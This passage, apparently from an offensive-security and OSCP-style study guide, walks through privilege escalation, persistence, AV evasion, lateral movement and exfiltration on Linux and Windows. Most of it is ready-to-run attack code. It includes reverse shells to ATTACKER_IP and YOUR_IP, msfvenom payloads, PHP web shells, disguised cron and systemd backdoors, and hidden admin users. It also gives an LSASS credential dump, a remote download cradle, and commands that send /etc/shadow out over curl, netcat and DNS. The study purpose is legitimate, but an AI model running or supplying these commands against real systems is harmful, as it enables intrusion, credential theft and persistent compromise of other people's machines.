# /usr/bin/nmap (older versions with --interactive)
sudo nmap --interactive
# nmap> !sh

# /usr/bin/nmap (newer — use script)
TF=$(mktemp)
echo 'os.execute("/bin/bash")' > $TF
sudo nmap --script=$TF

# /usr/bin/python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# /usr/bin/perl
sudo perl -e 'exec "/bin/bash";'

# /usr/bin/ruby
sudo ruby -e 'exec "/bin/bash"'

# /usr/bin/env
sudo env /bin/bash

# /usr/bin/man
sudo man man
# Then type: !/bin/bash

# /usr/bin/ftp
sudo ftp
# ftp> !/bin/bash

# /usr/bin/socat
sudo socat stdin exec:/bin/bash

# /usr/bin/zip
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'bash #'

# /usr/bin/tar
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# /usr/bin/apache2 (read files as root)
sudo apache2 -f /etc/shadow
# Error message leaks file contents!

LD_PRELOAD Attack

If sudo -l output shows env_keep+=LD_PRELOAD in the Defaults, you can hijack any sudo command by preloading a malicious shared library that spawns a root shell.

# Check: does sudo preserve LD_PRELOAD?
sudo -l
# Look for: env_keep+=LD_PRELOAD

# Create malicious shared library
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF

# Compile it
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# Run ANY allowed sudo command with LD_PRELOAD
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/find
# or
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/apache2
# Any command works — the library runs before the actual program!

LD_LIBRARY_PATH Hijacking

# Similar to LD_PRELOAD but replaces a specific library
# Check: does sudo preserve LD_LIBRARY_PATH?
sudo -l
# Look for: env_keep+=LD_LIBRARY_PATH

# Find what libraries the sudo binary uses
ldd /usr/bin/apache2

# Create a malicious version of one of those libraries
# Example: if it loads libcrypt.so.1
cat > /tmp/libcrypt.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
EOF

gcc -fPIC -shared -o /tmp/libcrypt.so.1 /tmp/libcrypt.c

# Run with hijacked library path
sudo LD_LIBRARY_PATH=/tmp /usr/bin/apache2

Sudoers Wildcard Exploitation

# If sudoers has wildcard entries like:
# user ALL=(root) NOPASSWD: /usr/bin/cat /var/log/*
# user ALL=(root) NOPASSWD: /usr/bin/less /opt/reports/*.txt

# Exploit with path traversal!
sudo /usr/bin/cat /var/log/../../etc/shadow
sudo /usr/bin/less /opt/reports/../../etc/shadow

# If sudoers allows: /usr/bin/find /var/tmp/*
sudo /usr/bin/find /var/tmp/ -exec /bin/bash \; -quit

# Environment variable abuse with scripts
# If sudoers allows: /opt/scripts/backup.sh
# And the script uses relative commands like 'tar' instead of '/usr/bin/tar':
echo '#!/bin/bash' > /tmp/tar
echo 'bash -p' >> /tmp/tar
chmod +x /tmp/tar
export PATH=/tmp:$PATH
sudo /opt/scripts/backup.sh    # Runs YOUR 'tar' as root!

Sudo Version Exploits — Baron Samedit (CVE-2021-3156)

A heap-based buffer overflow in sudo versions 1.8.2 through 1.8.31p2 and 1.9.0 through 1.9.5p1. Affects virtually every Linux distribution. Gives instant root from any user — no sudo permissions needed at all.

# Check sudo version
sudo --version
# Vulnerable: 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1

# Quick vulnerability test (doesn't exploit, just checks)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If you get "sudoedit: ..." error → vulnerable
# If you get "usage: ..." → patched

# Exploit: https://github.com/blasty/CVE-2021-3156
# Multiple variants exist for different distros/versions
make
./sudo-hax-me-a-sandwich 0    # Try different offset numbers (0, 1, 2...)

# This is one of the most impactful sudo vulns ever:
# - Works from ANY unprivileged user
# - No sudo permissions required
# - No password needed
# - Just needs vulnerable sudo version
💡 Pro Tip: When you run sudo -l and see a binary you don't recognize, always check: 1) GTFOBins, 2) strings on the binary to see if it calls other programs, 3) ltrace/strace to watch its behavior, 4) check if it reads config files you can modify. Custom binaries with SUID or sudo permissions are the most common CTF privesc vector.

🃏 Linux Wildcard Injection

When scripts use wildcards (*) in commands, the shell expands them into filenames. If you can create files with names that look like command-line flags, those filenames become arguments to the command. This is one of the sneakiest privilege escalation techniques.

How It Works

# Consider this cron job running as root:
# cd /var/tmp && tar czf /opt/backup.tar.gz *

# When the shell expands *, it turns into:
# tar czf /opt/backup.tar.gz file1.txt file2.txt --checkpoint=1 --checkpoint-action=exec=sh shell.sh

# Those filenames ARE the arguments!
# tar sees --checkpoint=1 and --checkpoint-action=exec=sh shell.sh
# as legitimate flags — because they ARE flags.

tar Wildcard Injection — Step by Step

# Scenario: root cron runs: cd /home/user && tar czf /tmp/backup.tar.gz *

# Step 1: Create your payload script
echo '#!/bin/bash' > /home/user/shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/shell.sh
chmod +x /home/user/shell.sh

# Step 2: Create the "flag" filenames
# These must be created with quotes or -- to prevent shell interpretation
echo '' > '/home/user/--checkpoint=1'
echo '' > '/home/user/--checkpoint-action=exec=sh shell.sh'

# Step 3: Wait for cron to run (or trigger it)
# When tar expands *, it runs: tar czf /tmp/backup.tar.gz ... --checkpoint=1 --checkpoint-action=exec=sh shell.sh
# This executes shell.sh as root!

# Step 4: Use your SUID bash
/tmp/rootbash -p    # Root shell!

# Alternative payload — reverse shell:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1' > /home/user/shell.sh

chown Wildcard Injection

# Scenario: root cron runs: cd /var/www && chown -R webuser:webuser *

# chown supports --reference flag
# Create a file owned by you:
touch /var/www/myfile

# Create the wildcard injection:
echo '' > '/var/www/--reference=myfile'

# When chown expands *:
# chown -R webuser:webuser ... --reference=myfile ...
# --reference=myfile makes chown set ownership based on myfile
# If myfile is owned by your user, all files become owned by you!

# Now you own everything in /var/www — including sensitive configs

rsync Wildcard Injection

# Scenario: root cron runs: cd /home/user && rsync -a * backup_server:/backup/

# rsync supports -e flag to specify the remote shell command
echo '' > '/home/user/-e sh shell.sh'

# Create your payload
echo '#!/bin/bash' > /home/user/shell.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/shell.sh
chmod +x /home/user/shell.sh

# When rsync expands *:
# rsync -a ... -e sh shell.sh ... backup_server:/backup/
# This executes shell.sh as root!
💡 Detection Tip: To find wildcard injection opportunities, search for cron jobs that use * with commands like tar, chown, chmod, rsync, or cp. Use cat /etc/crontab, ls /etc/cron.d/, and pspy to discover what's running periodically.

📁 NFS Misconfiguration

NFS (Network File System) lets Linux machines share directories over the network. When NFS is misconfigured with no_root_squash, a remote attacker can create files as root on the shared filesystem — including SUID binaries that give root on the target.

Enumeration

# Find NFS shares from your attacker machine
showmount -e TARGET_IP
# Example output:
# Export list for TARGET_IP:
# /var/nfs/general   *
# /home/backup       *(rw,no_root_squash)
# /opt/share         10.10.10.0/24(rw,no_root_squash)

# Key things to look for:
# no_root_squash — ROOT on your machine = ROOT on the NFS share
# rw             — read/write access
# *              — accessible from any IP

# Check NFS configuration on target (if you have a shell):
cat /etc/exports
# /home/backup  *(rw,sync,no_root_squash)

# What is "root squash"?
# By default, NFS "squashes" root — if you're root on your machine
# and access an NFS share, you get mapped to 'nobody' (no privileges).
# no_root_squash DISABLES this protection — root stays root!

Exploitation — Creating a Remote SUID Binary

# Step 1: Mount the NFS share on your attacker machine (as root)
mkdir /mnt/nfs
mount -t nfs TARGET_IP:/home/backup /mnt/nfs -o nolock

# Step 2: Verify mount
df -h | grep nfs
ls -la /mnt/nfs/

# Step 3: Create a SUID binary (as root on your machine)
# Option A: Copy bash with SUID
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash

# Option B: Create a small C program
cat > /mnt/nfs/suid_shell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc /mnt/nfs/suid_shell.c -o /mnt/nfs/suid_shell
chmod +s /mnt/nfs/suid_shell
chown root:root /mnt/nfs/suid_shell

# Step 4: On the target, execute the SUID binary
# (from your low-priv shell on the target)
/home/backup/rootbash -p        # Option A
# or
/home/backup/suid_shell          # Option B
whoami                           # root!

# Step 5: Clean up
umount /mnt/nfs
💡 Pro Tip: NFS misconfigurations are extremely common in enterprise environments and are a staple in OSCP exams. Always run showmount -e against every target. If you find no_root_squash, it's almost always a guaranteed root. Even without no_root_squash, writable NFS shares can leak sensitive files — check what's in them.

🪟 Windows Services & Registry — Deep Dive

Windows services run in the background with specific privileges (often SYSTEM). Misconfigurations in how services are set up — paths, permissions, DLL loading — create multiple privilege escalation paths.

Unquoted Service Paths

When a Windows service has a path with spaces and it's not wrapped in quotes, Windows tries multiple locations to find the executable. You can place a malicious binary at one of those locations.


  ┌─────────────────────────────────────────────────────────────┐
  │         UNQUOTED SERVICE PATH EXPLOITATION                  │
  ├─────────────────────────────────────────────────────────────┤
  │                                                             │
  │  Service path (UNQUOTED):                                   │
  │  C:\Program Files\My Custom App\Service\app.exe             │
  │                                                             │
  │  Windows tries these in ORDER:                              │
  │                                                             │
  │  1. C:\Program.exe               ← writable?               │
  │  2. C:\Program Files\My.exe      ← writable?               │
  │  3. C:\Program Files\My Custom.exe  ← writable?            │
  │  4. C:\Program Files\My Custom App\Service\app.exe ← real  │
  │                                                             │
  │  If you can write to any location tried BEFORE the real     │
  │  one, your payload runs instead — as SYSTEM!                │
  │                                                             │
  │  QUOTED path (safe):                                        │
  │  "C:\Program Files\My Custom App\Service\app.exe"           │
  │  → Windows goes directly to the full path, no guessing      │
  │                                                             │
  └─────────────────────────────────────────────────────────────┘
# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

# PowerShell version:
Get-WmiObject -Class Win32_Service | Where-Object {
    $_.PathName -notlike '"*' -and
    $_.PathName -like '* *' -and
    $_.PathName -notlike 'C:\Windows\*'
} | Select Name, PathName, StartMode

# Check if you can write to the intermediate path
icacls "C:\Program Files\My Custom App\"
# Look for: (BUILTIN\Users:(W)) or (Everyone:(W))

# accesschk from Sysinternals (more reliable)
accesschk.exe /accepteula -uwdq "C:\Program Files\My Custom App\"

# Exploitation:
# 1. Generate payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o My.exe
# 2. Place it: copy My.exe "C:\Program Files\My Custom App\My.exe"
# 3. Restart service: sc stop ServiceName && sc start ServiceName
# 4. Or wait for system reboot if service auto-starts

Weak Service Permissions

# Check service permissions with accesschk (Sysinternals)
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "BUILTIN\Users" *
accesschk.exe /accepteula -uwcqv "Everyone" *

# Look for: SERVICE_ALL_ACCESS or SERVICE_CHANGE_CONFIG
# If you can change config, point the service to your payload:

# Check current config
sc qc VulnerableService

# Change binary path to your payload
sc config VulnerableService binpath= "C:\Temp\reverse_shell.exe"

# Or add a new admin user
sc config VulnerableService binpath= "net localgroup administrators hacker /add"

# Restart the service
sc stop VulnerableService
sc start VulnerableService

# Check service binary permissions directly
icacls "C:\Path\To\service.exe"
# If you have (M)odify or (F)ull access, replace the binary itself!

DLL Hijacking

# Windows DLL search order:
# 1. Application directory
# 2. System directory (C:\Windows\System32)
# 3. 16-bit system directory
# 4. Windows directory
# 5. Current directory
# 6. PATH directories

# If a service loads a DLL that doesn't exist, or you can write
# to a directory checked before the real DLL, you win.

# Find missing DLLs:
# Use Process Monitor (procmon) — filter for:
# Operation: CreateFile
# Result: NAME NOT FOUND
# Path: ends with .dll

# Generate malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f dll -o hijack.dll

# Or create a simple DLL in C:
# Compile with: x86_64-w64-mingw32-gcc -shared -o hijack.dll hijack.c
/*
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c net localgroup administrators hacker /add");
    }
    return TRUE;
}
*/

# Place DLL where the service looks for it
# Restart service: sc stop ServiceName && sc start ServiceName

AlwaysInstallElevated

# Check both registry keys (BOTH must be set to 1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# If both = 0x1, any .msi package installs with SYSTEM privileges!

# Generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f msi -o shell.msi

# Install it (runs as SYSTEM)
msiexec /quiet /qn /i shell.msi
# /quiet = no UI, /qn = no UI at all, /i = install

Autorun Exploitation

# Check autorun entries
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check for writable autorun binary paths
# For each path found:
icacls "C:\Path\To\autorun.exe"

# If writable, replace with your payload:
copy /Y payload.exe "C:\Path\To\autorun.exe"

# Payload runs next time a user (or admin) logs in

# Check scheduled tasks too
schtasks /query /fo LIST /v | findstr /i "TaskName\|Task To Run\|Run As User"

# Writable scheduled task binary = same attack vector

🗄️ Database to Shell

You have database credentials but no OS shell? Databases are more powerful than people think. Most major databases can execute OS commands, read/write files, or be leveraged to get a full shell on the underlying server.

MySQL User-Defined Functions (UDF)

# Scenario: You have MySQL root credentials but no OS shell

# Step 1: Connect to MySQL
mysql -u root -p'FoundPassword123' -h TARGET_IP

# Step 2: Check if you can write files
SELECT @@plugin_dir;    # Need write access here
SHOW VARIABLES LIKE 'secure_file_priv';   # Empty = no restrictions

# Step 3: UDF exploitation (load a shared library as a MySQL function)
# Get the UDF library from sqlmap or compile one:
# Location: /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_

# Upload the UDF library
# (this depends on how you can write files — see below)

# Step 4: Create the function
USE mysql;
CREATE TABLE temp(data LONGBLOB);
INSERT INTO temp VALUES (LOAD_FILE('/path/to/lib_mysqludf_sys.so'));
SELECT data FROM temp INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';

# Step 5: Execute commands!
SELECT sys_exec('id');
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"');

# Alternative: Write a webshell (if web root is known)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
# Then visit: http://TARGET_IP/shell.php?cmd=id

MSSQL xp_cmdshell

# MSSQL is the easiest database to get a shell from
# Scenario: You have SA (sysadmin) credentials

# Connect with impacket
impacket-mssqlclient sa:'Password123'@TARGET_IP -windows-auth

# Or sqsh
sqsh -S TARGET_IP -U sa -P 'Password123'

# Enable xp_cmdshell (disabled by default)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Execute commands as the SQL Server service account
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir C:\Users\';

# Get a reverse shell
EXEC xp_cmdshell 'powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient(''YOUR_IP'',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length)}"';

# Read files
EXEC xp_cmdshell 'type C:\Users\Administrator\Desktop\flag.txt';

# Download tools
EXEC xp_cmdshell 'certutil -urlcache -split -f http://YOUR_IP/nc.exe C:\Temp\nc.exe';

PostgreSQL — File Read/Write & Command Execution

# Scenario: You have PostgreSQL superuser credentials

# Connect
psql -h TARGET_IP -U postgres -W

# Read files with COPY
CREATE TABLE readfile(content TEXT);
COPY readfile FROM '/etc/passwd';
SELECT * FROM readfile;
DROP TABLE readfile;

# Write files (webshell, SSH keys, etc.)
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

# Write SSH authorized_keys
COPY (SELECT 'ssh-rsa AAAA... attacker@kali') TO '/var/lib/postgresql/.ssh/authorized_keys';

# Command execution (PostgreSQL 9.3+)
# Using COPY PROGRAM:
COPY (SELECT '') TO PROGRAM 'id';
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1"';

# Using large objects (older versions):
SELECT lo_import('/etc/passwd');
SELECT lo_get(OID_FROM_ABOVE);

# PostgreSQL Extensions (if you can create them)
CREATE OR REPLACE FUNCTION cmd_exec(text) RETURNS text AS $$
    import subprocess
    return subprocess.check_output(args, shell=True).decode()
$$ LANGUAGE plpython3u;
SELECT cmd_exec('id');
💡 Pro Tip: Database credentials are everywhere — in config files, environment variables, even in command history. Whenever you find DB creds, don't just dump data. Try to get OS-level access through the database. MSSQL with xp_cmdshell is the easiest. MySQL with INTO OUTFILE for webshells. PostgreSQL with COPY TO PROGRAM. This is often the path from "web app compromise" to "full server compromise."

🔗 Persistence Mechanisms

Persistence is about maintaining access after you've gained it. Understanding these techniques is critical for both red teamers (who need to keep access during an engagement) and blue teamers (who need to detect and remove them). Note: These techniques are presented for educational purposes — use them only in authorized penetration tests.

Linux Persistence

# 1. SSH Authorized Keys (most common, most reliable)
# Add your public key to a user's authorized_keys
mkdir -p /root/.ssh
echo "ssh-rsa AAAA...your_public_key... attacker@kali" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
# Now: ssh -i your_private_key root@TARGET_IP

# 2. Cron Job Persistence
# Add a reverse shell that runs every minute
(crontab -l 2>/dev/null; echo "* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") | crontab -

# Or hide it in a system cron directory
echo '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' > /etc/cron.d/logrotate-check

# 3. Systemd Service (survives reboots, looks legitimate)
cat > /etc/systemd/system/system-update-check.service << 'EOF'
[Unit]
Description=System Update Verification Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-update-check.service
systemctl start system-update-check.service

# 4. Backdoor User (add a root-level user)
# Method: modify /etc/passwd directly
echo 'sysbackup:$1$xyz$hashed_password:0:0:System Backup:/root:/bin/bash' >> /etc/passwd
# Or use useradd
useradd -ou 0 -g 0 -M -d /root -s /bin/bash sysbackup
echo 'sysbackup:password123' | chpasswd

# 5. Web Shell (if web server exists)
echo '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>' > /var/www/html/.check.php
# Access: http://TARGET/check.php?c=id

# 6. SUID Backdoor
cp /bin/bash /usr/local/bin/.syscheck
chmod +s /usr/local/bin/.syscheck
# Use: /usr/local/bin/.syscheck -p

Windows Persistence

# 1. Scheduled Task
schtasks /create /sc MINUTE /mo 1 /tn "SystemHealthCheck" /tr "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')" /ru SYSTEM

# 2. Registry Run Keys (runs on user login)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SystemUpdate /t REG_SZ /d "C:\Temp\payload.exe" /f

# System-wide (runs for ALL users):
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SystemUpdate /t REG_SZ /d "C:\Temp\payload.exe" /f

# 3. New Admin User
net user sysbackup Password123! /add
net localgroup Administrators sysbackup /add
# Hide from login screen:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v sysbackup /t REG_DWORD /d 0 /f

# 4. WMI Event Subscription (advanced, stealthy)
# Creates a permanent event that triggers on boot

# 5. Startup Folder
# Copy payload to: C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

# 6. Service Creation
sc create SysHealthSvc binpath= "C:\Temp\payload.exe" start= auto
sc start SysHealthSvc
⚠️ Important: Persistence mechanisms should only be deployed during authorized penetration tests with explicit scope and approval. In real engagements, document everything you deploy and remove it during cleanup. Blue teamers: these are the exact techniques you should be hunting for in your environment.

🛡️ AV Evasion Basics

Your exploit works in the lab but gets blocked on the target? Welcome to antivirus evasion. Understanding why payloads get caught (and the basics of bypassing detection) is essential knowledge for any penetration tester. This section covers concepts — not weaponized techniques — to help you understand both sides.

Why Payloads Get Caught

# Detection methods:
#
# 1. SIGNATURE-BASED (traditional AV)
#    - AV has a database of known-bad byte patterns
#    - msfvenom payloads are in EVERY signature database
#    - If your payload matches a known pattern → blocked
#    - Easiest to bypass (change the bytes)
#
# 2. HEURISTIC / BEHAVIORAL
#    - AV watches WHAT your payload DOES, not what it looks like
#    - Opening sockets? Injecting into processes? Modifying registry?
#    - Harder to bypass (need to change behavior)
#
# 3. AMSI (Antimalware Scan Interface) — Windows
#    - Scans scripts (PowerShell, VBScript, JScript) BEFORE execution
#    - Even if the script is in memory only
#    - Intercepts at the interpreter level
#
# 4. EDR (Endpoint Detection & Response)
#    - Monitors everything: process creation, API calls, network, files
#    - Uses behavioral analysis + machine learning
#    - Hardest to bypass — beyond beginner scope

Living Off the Land — The Best Evasion

# The best way to avoid AV? Don't use malware at all.
# Use tools that are ALREADY on the system (LOLBins)

# Instead of uploading nc.exe for a reverse shell:
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);..."

# Instead of uploading mimikatz.exe:
# Use comsvcs.dll MiniDump (built into Windows):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full

# Instead of uploading procdump:
# Use Task Manager → Details → lsass.exe → Create dump file

# File download without suspicious tools:
certutil -urlcache -split -f http://URL/file C:\Temp\file
bitsadmin /transfer job http://URL/file C:\Temp\file

# These are all legitimate Windows binaries!
# AV can't block certutil without breaking Windows
# See: https://lolbas-project.github.io/

Basic Encoding & Obfuscation Concepts

# Simple encoding (changes signatures, not behavior)
# msfvenom encoding:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 \
  -f exe -e x64/zutto_dekiru -i 5 -o encoded_shell.exe
# -e = encoder, -i = iterations
# WARNING: encoded msfvenom payloads are STILL detected by modern AV

# Base64 encoding for PowerShell
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://ATTACKER_IP/shell.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
# Run with:
powershell -EncodedCommand $encoded

# AMSI Bypass Concepts (PowerShell)
# AMSI can be patched in memory to stop scanning
# The basic idea: overwrite the AmsiScanBuffer function
# to always return "clean" (AMSI_RESULT_CLEAN)
# Many public bypasses exist — they get signatured quickly
# This is an ongoing cat-and-mouse game

# Key concept: AV evasion is about changing SIGNATURES
# EDR evasion is about changing BEHAVIOR
# In CTFs, you rarely need evasion (no AV on most lab machines)
# In real tests, this is a critical skill
💡 Pro Tip: For OSCP and most CTFs, AV evasion isn't required — the lab machines don't have AV/EDR. Focus on fundamentals first. But when you move to real-world pentesting or certifications like OSEP (Offensive Security Experienced Penetration Tester), evasion becomes essential. Start by understanding LOLBins thoroughly — they're the foundation of every evasion strategy.

🌐 Lateral Movement Overview

You've compromised one machine and harvested credentials. Now use them to move to other machines on the network. Lateral movement is what turns a single compromised host into full network compromise. This section covers the basics — see Phase 5: Active Directory for AD-specific lateral movement.

Linux Lateral Movement

# SSH with stolen credentials
ssh [email protected]                    # If you found their password
ssh -i stolen_id_rsa [email protected]   # If you found their private key

# SSH key reuse — check known_hosts for targets
cat ~/.ssh/known_hosts                  # Where has this user connected?
# Try each host with keys you've found

# Proxychains for routing through a compromised host
# If you set up a SOCKS proxy (ssh -D 1080 user@pivot):
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains ssh [email protected]
proxychains curl http://10.10.10.5/

# Port scanning the internal network from the pivot
# On the compromised host:
for port in 22 80 443 445 3389 5985; do
  (echo >/dev/tcp/10.10.10.5/$port) 2>/dev/null && echo "Port $port open"
done

Windows Lateral Movement

# PsExec (Impacket) — execute commands on remote Windows systems
# Requires: admin credentials + SMB access (port 445)
impacket-psexec administrator:'Password123'@10.10.10.5
# Drops you into a SYSTEM shell on the remote machine

# WMIExec — stealthier than PsExec (no service created)
impacket-wmiexec administrator:'Password123'@10.10.10.5
# Uses WMI for execution — fewer forensic artifacts

# SMBExec — uses SMB shares for execution
impacket-smbexec administrator:'Password123'@10.10.10.5

# Evil-WinRM — PowerShell remoting (port 5985/5986)
evil-winrm -i 10.10.10.5 -u administrator -p 'Password123'
# Full PowerShell session on the target
# Can upload/download files easily

# Pass-the-Hash (PTH) — use NTLM hash instead of password
# You don't need to crack the hash!
impacket-psexec [email protected] -hashes :NT_HASH_HERE
impacket-wmiexec [email protected] -hashes :NT_HASH_HERE
evil-winrm -i 10.10.10.5 -u administrator -H NT_HASH_HERE
crackmapexec smb 10.10.10.0/24 -u administrator -H NT_HASH_HERE

# RDP (Remote Desktop) — full GUI access
xfreerdp /v:10.10.10.5 /u:administrator /p:'Password123' /dynamic-resolution
# Or with pass-the-hash (requires restricted admin mode):
xfreerdp /v:10.10.10.5 /u:administrator /pth:NT_HASH_HERE

# CrackMapExec — spray creds across the network
crackmapexec smb 10.10.10.0/24 -u admin -p 'Password123' --shares
crackmapexec smb 10.10.10.0/24 -u admin -p 'Password123' -x 'whoami'
# --shares = list accessible shares
# -x = execute command on all matching hosts
💡 Pro Tip: The lateral movement hierarchy in terms of stealth: WMIExec (stealthiest — no artifacts) > Evil-WinRM (PowerShell remoting) > SMBExec (uses shares) > PsExec (creates a service — most visible). In real engagements, prefer WMIExec. In CTFs, PsExec is fine. For Active Directory environments with Kerberos, see Phase 5.

📤 Data Exfiltration Techniques

You found the flag / sensitive data / proof of compromise. Now you need to get it out. In CTFs this is usually trivial (just cat flag.txt), but in real engagements, egress filtering, DLP, and monitoring can make exfiltration challenging.

Basic File Transfer Methods

# From target → attacker

# Method 1: Netcat (simplest)
# On attacker (listener):
nc -lvnp 9002 > received_file
# On target (sender):
nc ATTACKER_IP 9002 < /etc/shadow

# Method 2: curl / wget
# On attacker (start listener):
python3 -m http.server 8888
# Or start a receiver:
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class H(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers['Content-Length'])
        data = self.rfile.read(length)
        open('received', 'wb').write(data)
        self.send_response(200)
        self.end_headers()
        print(f'Received {length} bytes')
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"
# On target:
curl -X POST -d @/etc/shadow http://ATTACKER_IP:8888/upload

# Method 3: SCP (if SSH is available)
scp /etc/shadow attacker@ATTACKER_IP:/tmp/shadow

# Method 4: Base64 encode → copy-paste (no network transfer needed!)
base64 -w0 /etc/shadow
# Copy the base64 string, decode on attacker:
echo "base64_string_here" | base64 -d > shadow

# For binary files:
base64 -w0 /path/to/binary > /tmp/b64.txt
cat /tmp/b64.txt    # Copy this output
# On attacker:
echo "base64_string" | base64 -d > binary_file

When Egress Is Filtered

# Standard ports blocked? Try these:

# HTTP/HTTPS (ports 80/443 — almost always allowed)
# On attacker:
python3 -m http.server 80
# Or use a proper C2 over HTTPS

# DNS exfiltration (port 53 — rarely blocked)
# Concept: encode data as DNS queries
# data → hex encode → split into labels → query YOUR_DNS_SERVER

# Simple example (small data):
cat /etc/hostname | xxd -p | while read line; do
    nslookup $line.exfil.yourdomain.com YOUR_DNS_SERVER
done

# Tools for DNS exfiltration:
# - dnscat2 (full tunnel over DNS)
# - iodine (IP over DNS tunnel)
# - DNSExfiltrator

# ICMP exfiltration (ping-based)
# Some networks allow ICMP but block everything else
# Tools: icmpsh, ptunnel

# Steganography (hide data in images)
steghide embed -cf image.jpg -ef secret.txt
# Transfer the image normally — data is hidden inside

# Windows-specific exfiltration
# SMB (if outbound 445 is open):
copy C:\Sensitive\file.txt \\ATTACKER_IP\share\
# Or set up impacket-smbserver on attacker:
impacket-smbserver share /tmp/loot -smb2support

# PowerShell download cradle (uploads too):
Invoke-WebRequest -Uri http://ATTACKER_IP:8888/upload -Method POST -InFile C:\sensitive.txt
💡 Pro Tip: In CTFs, base64 copy-paste is usually sufficient. In real pentests, you'll need to understand what egress is allowed. DNS exfiltration works when almost everything else is blocked because DNS (port 53) is required for basic network functionality. Always check: can you reach your server on port 80? 443? 53? Tailor your exfiltration method to what's allowed.
🧠 Knowledge Check — Post-Exploitation & Lateral Movement
Scenario: You find this line in /var/www/html/wp-config.php:

define('DB_PASSWORD', 'Summer2024!');

What should you do FIRST with this password?
Password reuse is the fastest path to escalation. Before doing anything else with a found password, try it as root (su root), try it for other system users, and try it via SSH on other machines. Database passwords are reused as system passwords more often than you'd think. After testing reuse, then connect to the database for more credentials.
